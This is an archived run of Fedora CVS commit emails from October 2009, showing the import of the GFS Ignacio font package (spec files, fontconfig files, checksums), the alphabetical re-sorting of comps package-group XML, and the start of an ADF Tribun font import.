RCS file: /cvs/extras/rpms/gfs-ignacio-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:23:53 -0000	1.1
+++ sources	15 Oct 2009 20:59:19 -0000	1.2
@@ -0,0 +1 @@
+ec397b1199ca79404adec355eeb5c163  GFS_IGNACIO.zip



From nim at fedoraproject.org  Thu Oct 15 21:01:49 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 15 Oct 2009 21:01:49 +0000 (UTC)
Subject: rpms/gfs-ignacio-fonts/devel import.log,1.1,1.2
Message-ID: <20091015210149.ECA3711C00DB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/gfs-ignacio-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14478/devel

Modified Files:
	import.log 
Log Message:
initial import


Index: import.log
===================================================================
RCS file: /cvs/extras/rpms/gfs-ignacio-fonts/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	15 Oct 2009 20:59:19 -0000	1.1
+++ import.log	15 Oct 2009 21:01:49 -0000	1.2
@@ -1 +1,2 @@
 gfs-ignacio-fonts-20090923-1_fc13:HEAD:gfs-ignacio-fonts-20090923-1.fc13.src.rpm:1255640340
+gfs-ignacio-fonts-20090923-1_fc13:HEAD:gfs-ignacio-fonts-20090923-1.fc13.src.rpm:1255640488



From nim at fedoraproject.org  Thu Oct 15 21:09:28 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 15 Oct 2009 21:09:28 +0000 (UTC)
Subject: comps comps-f11.xml.in,1.308,1.309
Message-ID: <20091015210928.CD01E11C00DB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16411

Modified Files:
	comps-f11.xml.in 
Log Message:
sort


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f11.xml.in,v
retrieving revision 1.308
retrieving revision 1.309
diff -u -p -r1.308 -r1.309
--- comps-f11.xml.in	14 Oct 2009 00:28:54 -0000	1.308
+++ comps-f11.xml.in	15 Oct 2009 21:09:28 -0000	1.309
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE comps PUBLIC "-//Red Hat, Inc.//DTD Comps info//EN" "comps.dtd">
-<comps>
+<comps xmlns="">
   <group>
     <id>admin-tools</id>
     <_name>Administration Tools</_name>
@@ -746,8 +746,8 @@
       <packagereq type="default">grub</packagereq>
       <packagereq type="default">ppc64-utils</packagereq>
       <packagereq type="default">s390utils</packagereq>
-      <packagereq type="default">yaboot</packagereq>
       <packagereq type="default">silo</packagereq>
+      <packagereq type="default">yaboot</packagereq>
     </packagelist>
   </group>
   <group>
@@ -3498,8 +3498,8 @@
       <packagereq type="optional">kgrab</packagereq>
       <packagereq type="optional">kiconedit</packagereq>
       <packagereq type="optional">kio-ftps</packagereq>
-      <packagereq type="optional">kio_gopher</packagereq>
       <packagereq type="optional">kiosktool</packagereq>
+      <packagereq type="optional">kio_gopher</packagereq>
       <packagereq type="optional">klamav</packagereq>
       <packagereq type="optional">kmenu-gnome</packagereq>
       <packagereq type="optional">kmid</packagereq>
@@ -4363,8 +4363,8 @@
       <packagereq type="optional">jpilot</packagereq>
       <packagereq type="optional">kdepim</packagereq>
       <packagereq type="optional">keurocalc</packagereq>
-      <packagereq type="optional">koffice-suite</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
+      <packagereq type="optional">koffice-suite</packagereq>
       <packagereq type="optional">krecipes</packagereq>
       <packagereq type="optional">kreetingkard</packagereq>
       <packagereq type="optional">kreetingkard_templates</packagereq>



From nim at fedoraproject.org  Thu Oct 15 21:09:34 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 15 Oct 2009 21:09:34 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.152,1.153
Message-ID: <20091015210934.2880111C00DB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16574

Modified Files:
	comps-f12.xml.in 
Log Message:
sort


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.152
retrieving revision 1.153
diff -u -p -r1.152 -r1.153
--- comps-f12.xml.in	14 Oct 2009 00:28:54 -0000	1.152
+++ comps-f12.xml.in	15 Oct 2009 21:09:33 -0000	1.153
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE comps PUBLIC "-//Red Hat, Inc.//DTD Comps info//EN" "comps.dtd">
-<comps>
+<comps xmlns="">
   <group>
     <id>admin-tools</id>
     <_name>Administration Tools</_name>
@@ -786,8 +786,8 @@
       <packagereq type="default">ppc64-utils</packagereq>
       <packagereq type="default">s390utils</packagereq>
       <packagereq type="default">sendmail</packagereq>
-      <packagereq type="default">yaboot</packagereq>
       <packagereq type="default">silo</packagereq>
+      <packagereq type="default">yaboot</packagereq>
     </packagelist>
   </group>
   <!-- 
@@ -1157,8 +1157,8 @@
       <packagereq type="optional">Sprog</packagereq>
       <packagereq type="optional">srecord</packagereq>
       <packagereq type="optional">subcommander</packagereq>
-      <packagereq type="optional">sunifdef</packagereq>
       <packagereq type="optional">subversion-svn2cl</packagereq>
+      <packagereq type="optional">sunifdef</packagereq>
       <packagereq type="optional">svnmailer</packagereq>
       <packagereq type="optional">sysconftool</packagereq>
       <packagereq type="optional">tailor</packagereq>
@@ -1395,9 +1395,9 @@
       <packagereq type="default">dinotrace</packagereq>
       <packagereq type="default">drawtiming</packagereq>
       <packagereq type="default">eclipse-cdt</packagereq>
+      <packagereq type="default">eclipse-dltk-tcl</packagereq>
       <packagereq type="default">eclipse-eclox</packagereq>
       <packagereq type="default">eclipse-epic</packagereq>
-      <packagereq type="default">eclipse-dltk-tcl</packagereq>
       <packagereq type="default">eclipse-subclipse</packagereq>
       <packagereq type="default">eclipse-texlipse</packagereq>
       <packagereq type="default">eclipse-veditor</packagereq>
@@ -1921,8 +1921,8 @@
       <packagereq type="optional">icelandic-fonts</packagereq>
       <packagereq type="optional">inkboy-fonts</packagereq>
       <packagereq type="optional">ipa-gothic-fonts</packagereq>
-      <packagereq type="optional">ipa-pgothic-fonts</packagereq>
       <packagereq type="optional">ipa-mincho-fonts</packagereq>
+      <packagereq type="optional">ipa-pgothic-fonts</packagereq>
       <packagereq type="optional">ipa-pmincho-fonts</packagereq>
       <packagereq type="optional">khmeros-battambang-fonts</packagereq>
       <packagereq type="optional">khmeros-bokor-fonts</packagereq>
@@ -1940,11 +1940,9 @@
       <packagereq type="optional">lilypond-feta-fonts</packagereq>
       <packagereq type="optional">lilypond-parmesan-fonts</packagereq>
       <packagereq type="optional">linux-libertine-fonts</packagereq>
-      <packagereq type="optional">lohit-assamese-fonts</packagereq>
       <packagereq type="optional">lohit-kashmiri-fonts</packagereq>
       <packagereq type="optional">lohit-konkani-fonts</packagereq>
       <packagereq type="optional">lohit-malayalam-fonts</packagereq>
-      <packagereq type="optional">lohit-marathi-fonts</packagereq>
       <packagereq type="optional">lohit-nepali-fonts</packagereq>
       <packagereq type="optional">lohit-sindhi-fonts</packagereq>
       <packagereq type="optional">madan-fonts</packagereq>
@@ -3571,8 +3569,8 @@
       <packagereq type="mandatory">lohit-kannada-fonts</packagereq>
       <packagereq type="mandatory">m17n-contrib-kannada</packagereq>
       <packagereq type="mandatory">m17n-db-kannada</packagereq>
-      <packagereq type="conditional" requires="hyphen">hyphen-kn</packagereq>
       <packagereq type="conditional" requires="hunspell">hunspell-kn</packagereq>
+      <packagereq type="conditional" requires="hyphen">hyphen-kn</packagereq>
       <packagereq type="conditional" requires="xorg-x11-server-Xorg">ibus-m17n</packagereq>
       <packagereq type="conditional" requires="moodle">moodle-kn</packagereq>
       <packagereq type="conditional" requires="openoffice.org-core">openoffice.org-langpack-kn_IN</packagereq>
@@ -3591,7 +3589,6 @@
       <packagereq type="mandatory">m17n-contrib-kashmiri</packagereq>
       <packagereq type="conditional" requires="xorg-x11-server-Xorg">ibus-m17n</packagereq>
       <packagereq type="default">iok</packagereq>
-      <packagereq type="default">m17n-contrib-kashmiri</packagereq>
     </packagelist>
   </group>
   <group>
@@ -3694,8 +3691,8 @@
       <packagereq type="optional">kgrab</packagereq>
       <packagereq type="optional">kiconedit</packagereq>
       <packagereq type="optional">kio-ftps</packagereq>
-      <packagereq type="optional">kio_gopher</packagereq>
       <packagereq type="optional">kiosktool</packagereq>
+      <packagereq type="optional">kio_gopher</packagereq>
       <packagereq type="optional">klamav</packagereq>
       <packagereq type="optional">kmenu-gnome</packagereq>
       <packagereq type="optional">kmid</packagereq>
@@ -5825,8 +5822,8 @@
       <packagereq type="mandatory">paktype-naqsh-fonts</packagereq>
       <packagereq type="mandatory">paktype-tehreer-fonts</packagereq>
       <packagereq type="conditional" requires="hunspell">hunspell-ur</packagereq>
-      <packagereq type="conditional" requires="openoffice.org-core">openoffice.org-langpack-ur</packagereq>
       <packagereq type="conditional" requires="xorg-x11-server-Xorg">ibus-m17n</packagereq>
+      <packagereq type="conditional" requires="openoffice.org-core">openoffice.org-langpack-ur</packagereq>
       <packagereq type="default">dejavu-sans-fonts</packagereq>
       <packagereq type="default">dejavu-sans-mono-fonts</packagereq>
       <packagereq type="default">nafees-web-naskh-fonts</packagereq>



From nim at fedoraproject.org  Thu Oct 15 21:09:39 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 15 Oct 2009 21:09:39 +0000 (UTC)
Subject: comps comps-f13.xml.in,1.39,1.40
Message-ID: <20091015210939.EBC8111C00DB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16601

Modified Files:
	comps-f13.xml.in 
Log Message:
sort


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f13.xml.in,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- comps-f13.xml.in	14 Oct 2009 00:41:09 -0000	1.39
+++ comps-f13.xml.in	15 Oct 2009 21:09:39 -0000	1.40
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE comps PUBLIC "-//Red Hat, Inc.//DTD Comps info//EN" "comps.dtd">
-<comps>
+<comps xmlns="">
   <group>
     <id>admin-tools</id>
     <_name>Administration Tools</_name>
@@ -777,10 +777,10 @@
       <packagereq type="default">efibootmgr</packagereq>
       <packagereq type="default">grub</packagereq>
       <packagereq type="default">ppc64-utils</packagereq>
-      <packagereq type="default">sendmail</packagereq>
       <packagereq type="default">s390utils</packagereq>
-      <packagereq type="default">yaboot</packagereq>
+      <packagereq type="default">sendmail</packagereq>
       <packagereq type="default">silo</packagereq>
+      <packagereq type="default">yaboot</packagereq>
     </packagelist>
   </group>
   <!-- 
@@ -1150,8 +1150,8 @@
       <packagereq type="optional">Sprog</packagereq>
       <packagereq type="optional">srecord</packagereq>
       <packagereq type="optional">subcommander</packagereq>
-      <packagereq type="optional">sunifdef</packagereq>
       <packagereq type="optional">subversion-svn2cl</packagereq>
+      <packagereq type="optional">sunifdef</packagereq>
       <packagereq type="optional">svnmailer</packagereq>
       <packagereq type="optional">sysconftool</packagereq>
       <packagereq type="optional">tailor</packagereq>
@@ -1194,25 +1194,25 @@
     </packagelist>
   </group>
   <group>
-      <id>directory-server</id>
-      <_name>Directory Server</_name>
-      <_description>Machine and user identity servers.</_description>
-      <default>false</default>
-      <uservisible>true</uservisible>
-      <packagelist>
-        <packagereq type="optional">krb5-server</packagereq>
-        <packagereq type="optional">migrationtools</packagereq>
-        <packagereq type="optional">openldap-servers</packagereq>
-        <packagereq type="optional">samba</packagereq>
-        <packagereq type="optional">ypserv</packagereq>
-        <packagereq type="optional">389-ds-base</packagereq>
-        <packagereq type="optional">389-ds-admin</packagereq>
-        <packagereq type="optional">idm-console-framework</packagereq>
-        <packagereq type="optional">389-console</packagereq>
-        <packagereq type="optional">389-ds-console</packagereq>
-        <packagereq type="optional">389-admin-console</packagereq>
-        <packagereq type="optional">389-dsgw</packagereq>
-      </packagelist>
+    <id>directory-server</id>
+    <_name>Directory Server</_name>
+    <_description>Machine and user identity servers.</_description>
+    <default>false</default>
+    <uservisible>true</uservisible>
+    <packagelist>
+      <packagereq type="optional">389-admin-console</packagereq>
+      <packagereq type="optional">389-console</packagereq>
+      <packagereq type="optional">389-ds-admin</packagereq>
+      <packagereq type="optional">389-ds-base</packagereq>
+      <packagereq type="optional">389-ds-console</packagereq>
+      <packagereq type="optional">389-dsgw</packagereq>
+      <packagereq type="optional">idm-console-framework</packagereq>
+      <packagereq type="optional">krb5-server</packagereq>
+      <packagereq type="optional">migrationtools</packagereq>
+      <packagereq type="optional">openldap-servers</packagereq>
+      <packagereq type="optional">samba</packagereq>
+      <packagereq type="optional">ypserv</packagereq>
+    </packagelist>
   </group>
   <group>
     <id>dns-server</id>
@@ -1388,9 +1388,9 @@
       <packagereq type="default">dinotrace</packagereq>
       <packagereq type="default">drawtiming</packagereq>
       <packagereq type="default">eclipse-cdt</packagereq>
+      <packagereq type="default">eclipse-dltk-tcl</packagereq>
       <packagereq type="default">eclipse-eclox</packagereq>
       <packagereq type="default">eclipse-epic</packagereq>
-      <packagereq type="default">eclipse-dltk-tcl</packagereq>
       <packagereq type="default">eclipse-subclipse</packagereq>
       <packagereq type="default">eclipse-texlipse</packagereq>
       <packagereq type="default">eclipse-veditor</packagereq>
@@ -3627,13 +3627,13 @@
       <packagereq type="default">konq-plugins</packagereq>
       <packagereq type="default">konversation</packagereq>
       <packagereq type="default">kpackagekit</packagereq>
-      <packagereq type="default">polkit-gnome</packagereq>
       <packagereq type="default">ksshaskpass</packagereq>
       <packagereq type="default">ktorrent</packagereq>
       <packagereq type="default">NetworkManager-gnome</packagereq>
       <packagereq type="default">phonon-backend-gstreamer</packagereq>
       <packagereq type="default">phonon-backend-xine</packagereq>
       <packagereq type="default">pinentry-qt</packagereq>
+      <packagereq type="default">polkit-gnome</packagereq>
       <packagereq type="default">scribus</packagereq>
       <packagereq type="default">system-config-printer-kde</packagereq>
       <packagereq type="default">xsettings-kde</packagereq>
@@ -3663,8 +3663,8 @@
       <packagereq type="optional">kgrab</packagereq>
       <packagereq type="optional">kiconedit</packagereq>
       <packagereq type="optional">kio-ftps</packagereq>
-      <packagereq type="optional">kio_gopher</packagereq>
       <packagereq type="optional">kiosktool</packagereq>
+      <packagereq type="optional">kio_gopher</packagereq>
       <packagereq type="optional">klamav</packagereq>
       <packagereq type="optional">kmenu-gnome</packagereq>
       <packagereq type="optional">kmid</packagereq>
@@ -4724,12 +4724,12 @@
       <packagereq type="default">cups-pk-helper</packagereq>
       <packagereq type="default">gutenprint</packagereq>
       <packagereq type="default">gutenprint-cups</packagereq>
-      <packagereq type="default">system-config-printer-udev</packagereq>
       <packagereq type="default">hpijs</packagereq>
       <packagereq type="default">hplip</packagereq>
       <packagereq type="default">mpage</packagereq>
       <packagereq type="default">samba-client</packagereq>
       <packagereq type="default">system-config-printer</packagereq>
+      <packagereq type="default">system-config-printer-udev</packagereq>
       <packagereq type="optional">a2ps</packagereq>
       <packagereq type="optional">enscript</packagereq>
     </packagelist>
@@ -4843,8 +4843,8 @@
     <uservisible>true</uservisible>
     <langonly>sa</langonly>
     <packagelist>
-      <packagereq type="conditional" requires="hyphen">hyphen-sa</packagereq>
       <packagereq type="mandatory">m17n-db-sanskrit</packagereq>
+      <packagereq type="conditional" requires="hyphen">hyphen-sa</packagereq>
     </packagelist>
   </group>
   <group>
@@ -5085,10 +5085,10 @@
       <packagereq type="optional">mybashburn</packagereq>
       <packagereq type="optional">nted</packagereq>
       <packagereq type="optional">nyquist</packagereq>
-      <packagereq type="optional">parole</packagereq>
       <packagereq type="optional">padevchooser</packagereq>
       <packagereq type="optional">paman</packagereq>
       <packagereq type="optional">paprefs</packagereq>
+      <packagereq type="optional">parole</packagereq>
       <packagereq type="optional">pavucontrol</packagereq>
       <packagereq type="optional">pavumeter</packagereq>
       <packagereq type="optional">picard</packagereq>
@@ -5113,8 +5113,8 @@
       <packagereq type="optional">ushare</packagereq>
       <packagereq type="optional">v4l2-tool</packagereq>
       <packagereq type="optional">vdr</packagereq>
-      <packagereq type="optional">vdr-femon</packagereq>
       <packagereq type="optional">vdr-epgsearch</packagereq>
+      <packagereq type="optional">vdr-femon</packagereq>
       <packagereq type="optional">vdr-osdteletext</packagereq>
       <packagereq type="optional">vdr-remote</packagereq>
       <packagereq type="optional">vdr-skins</packagereq>
@@ -5335,7 +5335,6 @@
       <packagereq type="optional">autofs</packagereq>
       <packagereq type="optional">avahi-tools</packagereq>
       <packagereq type="optional">bash-completion</packagereq>
-      <packagereq type="optional">PackageKit-command-not-found</packagereq>
       <packagereq type="optional">bochs</packagereq>
       <packagereq type="optional">cabextract</packagereq>
       <packagereq type="optional">catfish</packagereq>
@@ -5427,6 +5426,7 @@
       <packagereq type="optional">oddjob</packagereq>
       <packagereq type="optional">p0f</packagereq>
       <packagereq type="optional">p7zip</packagereq>
+      <packagereq type="optional">PackageKit-command-not-found</packagereq>
       <packagereq type="optional">pam_keyring</packagereq>
       <packagereq type="optional">par2cmdline</packagereq>
       <packagereq type="optional">pbzip2</packagereq>



From nim at fedoraproject.org  Thu Oct 15 21:13:18 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 15 Oct 2009 21:13:18 +0000 (UTC)
Subject: rpms/gfs-ignacio-fonts/F-11 gfs-ignacio-fonts.spec, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015211318.EEC3011C00DB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/gfs-ignacio-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17041/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	gfs-ignacio-fonts.spec import.log 
Log Message:
initial import


--- NEW FILE gfs-ignacio-fonts.spec ---
%global fontname gfs-ignacio
%global fontconf 61-%{fontname}.conf

%global archivename GFS_IGNACIO

Name:    %{fontname}-fonts
Version: 20090923
Release: 1%{?dist}
Summary: A majuscule Greek font

Group:     User Interface/X
License:   OFL
URL:       http://www.greekfontsociety.gr/pages/en_typefaces_majuscules.html
Source0:   http://www.greekfontsociety.gr/%{archivename}.zip
Source1:   %{name}-fontconfig.conf
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:     noarch
BuildRequires: fontpackages-devel
Requires:      fontpackages-filesystem

%description
As it is known, the Greek alphabet was used in majuscule form for over a
millennium before the minuscule letters gradually replaced it until they became
the official script in the 9th century A.D. Thereafter, majuscule letters were
confined to sparse use as initials or elaborate titles until the Italian
Renaissance.

The new art of Typography, as well as the need of the humanists to mimic the
ancient Greco-Roman period brought back the extensive use of the majuscule
letter-forms in both Latin and Greek typography. Greek books of the time were
printed using the contemporary Byzantine hand with which they combined capital
letters modelled on the Roman antiquity, i.e. with thick and thin strokes and
serifs. At the same time the Byzantine majuscule tradition, principally used on
theological editions, remainned alive until the early 19th century.

This font has been designed by George D. Matthiopoulos.


%prep
%setup -q -c -T
unzip -j -L -q %{SOURCE0}
chmod 0644 *.txt

for txt in *.txt ; do
   fold -s $txt > $txt.new &&\
   sed -i 's/\r//' $txt.new &&\
   touch -r $txt $txt.new &&\
   mv $txt.new $txt
done


%build


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} *.otf

%doc *.txt


%changelog
* Fri Oct  9 2009 Nicolas Mailhot <nicolas.mailhot at laposte.net>
- 20090923-1
? initial packaging


--- NEW FILE import.log ---
gfs-ignacio-fonts-20090923-1_fc13:F-11:gfs-ignacio-fonts-20090923-1.fc13.src.rpm:1255640933


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gfs-ignacio-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:23:53 -0000	1.1
+++ .cvsignore	15 Oct 2009 21:13:18 -0000	1.2
@@ -0,0 +1 @@
+GFS_IGNACIO.zip


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gfs-ignacio-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:23:53 -0000	1.1
+++ sources	15 Oct 2009 21:13:18 -0000	1.2
@@ -0,0 +1 @@
+ec397b1199ca79404adec355eeb5c163  GFS_IGNACIO.zip



From nim at fedoraproject.org  Thu Oct 15 21:13:53 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 15 Oct 2009 21:13:53 +0000 (UTC)
Subject: rpms/gfs-ignacio-fonts/F-12 gfs-ignacio-fonts-fontconfig.conf, NONE,
	1.1 gfs-ignacio-fonts.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015211353.EB3E111C00DB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/gfs-ignacio-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17207/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	gfs-ignacio-fonts-fontconfig.conf gfs-ignacio-fonts.spec 
	import.log 
Log Message:
initial import


--- NEW FILE gfs-ignacio-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>GFS Ignacio</family>
    </prefer>
  </alias>
  <alias>
    <family>GFS Ignacio</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE gfs-ignacio-fonts.spec ---
%global fontname gfs-ignacio
%global fontconf 61-%{fontname}.conf

%global archivename GFS_IGNACIO

Name:    %{fontname}-fonts
Version: 20090923
Release: 1%{?dist}
Summary: A majuscule Greek font

Group:     User Interface/X
License:   OFL
URL:       http://www.greekfontsociety.gr/pages/en_typefaces_majuscules.html
Source0:   http://www.greekfontsociety.gr/%{archivename}.zip
Source1:   %{name}-fontconfig.conf
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:     noarch
BuildRequires: fontpackages-devel
Requires:      fontpackages-filesystem

%description
As it is known, the Greek alphabet was used in majuscule form for over a
millennium before the minuscule letters gradually replaced it until they became
the official script in the 9th century A.D. Thereafter, majuscule letters were
confined to sparse use as initials or elaborate titles until the Italian
Renaissance.

The new art of Typography, as well as the need of the humanists to mimic the
ancient Greco-Roman period brought back the extensive use of the majuscule
letter-forms in both Latin and Greek typography. Greek books of the time were
printed using the contemporary Byzantine hand with which they combined capital
letters modelled on the Roman antiquity, i.e. with thick and thin strokes and
serifs. At the same time the Byzantine majuscule tradition, principally used on
theological editions, remainned alive until the early 19th century.

This font has been designed by George D. Matthiopoulos.


%prep
%setup -q -c -T
unzip -j -L -q %{SOURCE0}
chmod 0644 *.txt

for txt in *.txt ; do
   fold -s $txt > $txt.new &&\
   sed -i 's/\r//' $txt.new &&\
   touch -r $txt $txt.new &&\
   mv $txt.new $txt
done


%build


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} *.otf

%doc *.txt


%changelog
* Fri Oct  9 2009 Nicolas Mailhot <nicolas.mailhot at laposte.net>
- 20090923-1
? initial packaging


--- NEW FILE import.log ---
gfs-ignacio-fonts-20090923-1_fc13:F-12:gfs-ignacio-fonts-20090923-1.fc13.src.rpm:1255640822


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gfs-ignacio-fonts/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:23:53 -0000	1.1
+++ .cvsignore	15 Oct 2009 21:13:53 -0000	1.2
@@ -0,0 +1 @@
+GFS_IGNACIO.zip


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gfs-ignacio-fonts/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:23:53 -0000	1.1
+++ sources	15 Oct 2009 21:13:53 -0000	1.2
@@ -0,0 +1 @@
+ec397b1199ca79404adec355eeb5c163  GFS_IGNACIO.zip



From nim at fedoraproject.org  Thu Oct 15 21:15:16 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 15 Oct 2009 21:15:16 +0000 (UTC)
Subject: rpms/adf-tribun-fonts/devel adf-tribun-fonts-fontconfig.conf, NONE, 
	1.1 adf-tribun-fonts.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015211516.C3C7F11C00DB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/adf-tribun-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18113/devel

Modified Files:
	.cvsignore sources 
Added Files:
	adf-tribun-fonts-fontconfig.conf adf-tribun-fonts.spec 
	import.log 
Log Message:
initial import


--- NEW FILE adf-tribun-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Med</string>
    </test>
    <test name="style">
      <string>Medium</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiExpanded DemiBold</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiExpanded DemiBold</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Med</string>
    </test>
    <test name="style">
      <string>Italic</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiExpanded DemiBold Italic</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiExpanded DemiBold Italic</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Med</string>
    </test>
    <test name="style">
      <string>Bold</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiExpanded Black</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiExpanded Black</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Med</string>
    </test>
    <test name="style">
      <string>Bold Italic</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiExpanded Black Italic</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiExpanded Black Italic</string>
    </edit>
  </match>
  <alias binding="same">
    <family>Tribun ADF Std Med</family>
    <accept>
      <family>Tribun ADF Std</family>
    </accept>
  </alias>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Cond</string>
    </test>
    <test name="style">
      <string>Regular</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiCondensed Medium</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiCondensed Medium</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Cond</string>
    </test>
    <test name="style">
      <string>Italic</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiCondensed Medium Italic</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiCondensed Medium Italic</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Cond</string>
    </test>
    <test name="style">
      <string>Bold</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiCondensed ExtraBold</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiCondensed ExtraBold</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Cond</string>
    </test>
    <test name="style">
      <string>Bold Italic</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiCondensed ExtraBold Italic</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiCondensed ExtraBold Italic</string>
    </edit>
  </match>
  <alias binding="same">
    <family>Tribun ADF Std Cond</family>
    <accept>
      <family>Tribun ADF Std</family>
    </accept>
  </alias>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Tribun ADF Std</family>
    </prefer>
  </alias>
  <alias>
